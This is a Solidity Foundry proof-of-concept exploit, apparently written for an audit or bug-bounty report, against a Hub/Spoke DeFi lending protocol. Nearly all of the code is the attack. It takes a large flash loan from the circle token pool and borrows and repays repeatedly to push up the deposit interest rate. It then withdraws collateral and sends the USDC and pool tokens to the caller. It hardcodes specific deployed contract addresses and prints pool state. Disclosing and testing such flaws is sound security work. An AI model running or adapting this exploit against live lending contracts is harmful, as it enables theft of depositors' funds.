Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./PoC.sol";
import "./interfaces/IHubCircleTokenPool.sol";
import "./interfaces/ILoanManager.sol";
import "./interfaces/ISpokeCommon.sol";
import "./interfaces/ISpokeCircleToken.sol";
import "./interfaces/IHub.sol";
contract FlashloanContract is IERC3156FlashBorrower{
ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
uint256 private _1USDC = 1e6;
uint256 private _1TOKEN = 1e18;
bytes32 private attackerAccountId = bytes32("attackerAccountId");
bytes32 private attackerLoanId = bytes32("attackerLoanId");
bytes32 private userAccountId = bytes32("userAccountId");
bytes32 private userLoanId = bytes32("userLoanId");
bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 private refAccountId;
uint8 private constant poolId = 128;
bytes32 private stableLoanId = bytes32("stableLoanId");
bytes32 private variableLoanId = bytes32("variableLoanId");
Messages.MessageParams private params;
constructor() {
params = Messages.MessageParams({
adapterId: 1,
returnAdapterId: 1,
receiverValue: 0,
gasLimit: 0,
returnGasLimit: 0
});
}
function init() external {
_spokeCommon.createAccount(params, attackerAccountId, refAccountId);
_spokeCommon.createLoan(params, attackerAccountId, stableLoanId, 2, "stableLoan");
_spokeCommon.createLoan(params, attackerAccountId, variableLoanId, 2, "variableLoan");
usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
uint256 depositAmount = 20_000 * _1USDC;
_spokeCircleToken.deposit(params, attackerAccountId, stableLoanId, depositAmount);
_spokeCommon.borrow(params, attackerAccountId, stableLoanId, uint8(128), 1, 9480 * _1USDC, type(uint256).max);
uint256 fAmount = 5_000 * _1USDC;
bytes memory data = abi.encodePacked(stableLoanId, poolId, fAmount);
_hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
}
function attack() external {
bytes memory flashLoanData;
_hubCirclePool.flashLoan(IERC3156FlashBorrower(address(this)), address(_hubCirclePool), 958520 * _1USDC * 10 / 8, flashLoanData);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
bytes memory data = abi.encodePacked(variableLoanId, poolId, amount);
_hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
uint256 borrowAmount = 858519 * _1USDC;
printData();
console.log("****************************************************************");
for (uint256 i; i < 1; i++) {
console.log("borrow");
_spokeCommon.borrow(params, attackerAccountId, variableLoanId, poolId, 1, borrowAmount, 0);
printData();
console.log("repay");
_spokeCircleToken.repay(params, attackerAccountId, variableLoanId, borrowAmount, 0);
console.log("<<< depositData.interestRate increased after repay. >>>");
printData();
console.log("-----------------------------------------");
}
_hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
_hubCirclePool.approve(address(_hubCirclePool), amount + fee);
return RETURN_VALUE;
}
function withdraw() external {
ILoanManager.UserLoanBorrow[] memory borrows;
ILoanManager.UserLoanCollateral[] memory collaterals;
(,,,,, borrows) = _loanManager.getUserLoan(stableLoanId);
ILoanManager.UserLoanBorrow memory borrow = borrows[0];
_spokeCircleToken.repay(params, attackerAccountId, stableLoanId, borrow.amount, 0);
printData();
bytes memory data = abi.encodePacked(stableLoanId, poolId, _hubCirclePool.balanceOf(address(this)));
_hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
(,,,, collaterals, borrows) = _loanManager.getUserLoan(stableLoanId);
ILoanManager.UserLoanCollateral memory collateral = collaterals[0];
borrow = borrows[0];
_spokeCommon.withdraw(params, attackerAccountId, stableLoanId, poolId, 1, 15000 * _1USDC, true);
usdcToken.transfer(msg.sender, usdcToken.balanceOf(address(this)));
_hubCirclePool.transfer(msg.sender, _hubCirclePool.balanceOf(address(this)));
}
function printData() private {
IHubCircleTokenPool.DepositData memory depositData = _hubCirclePool.getDepositData();
IHubCircleTokenPool.VariableBorrowData memory variableBorrowData = _hubCirclePool.getVariableBorrowData();
IHubCircleTokenPool.StableBorrowData memory stableBorrowData = _hubCirclePool.getStableBorrowData();
uint256 getLastUpdateTimestamp = _hubCirclePool.getLastUpdateTimestamp();
// console.log("depositData.optimalUtilisationRatio", depositData.optimalUtilisationRatio);
// console.log("depositData.totalAmount", depositData.totalAmount);
console.log("depositData.interestRate", depositData.interestRate);
console.log("depositData.interestIndex", depositData.interestIndex);
console.log("variableBorrowData.totalAmount", variableBorrowData.totalAmount);
console.log("variableBorrowData.interestRate", variableBorrowData.interestRate);
console.log("variableBorrowData.interestIndex", variableBorrowData.interestIndex);
// console.log("stableBorrowData.optimalStableToTotalDebtRatio", stableBorrowData.optimalStableToTotalDebtRatio);
// console.log("stableBorrowData.rebalanceUpUtilisationRatio", stableBorrowData.rebalanceUpUtilisationRatio);
// console.log("stableBorrowData.rebalanceUpDepositInterestRate", stableBorrowData.rebalanceUpDepositInterestRate);
// console.log("stableBorrowData.rebalanceDownDelta", stableBorrowData.rebalanceDownDelta);
// console.log("stableBorrowData.totalAmount", stableBorrowData.totalAmount);
console.log("stableBorrowData.interestRate", stableBorrowData.interestRate);
console.log("stableBorrowData.averageInterestRate", stableBorrowData.averageInterestRate);
// console.log("getLastUpdateTimestamp", getLastUpdateTimestamp);
console.log("utilizationRatio", (variableBorrowData.totalAmount + stableBorrowData.totalAmount) * 10 ** 18 / depositData.totalAmount);
console.log("");
}
}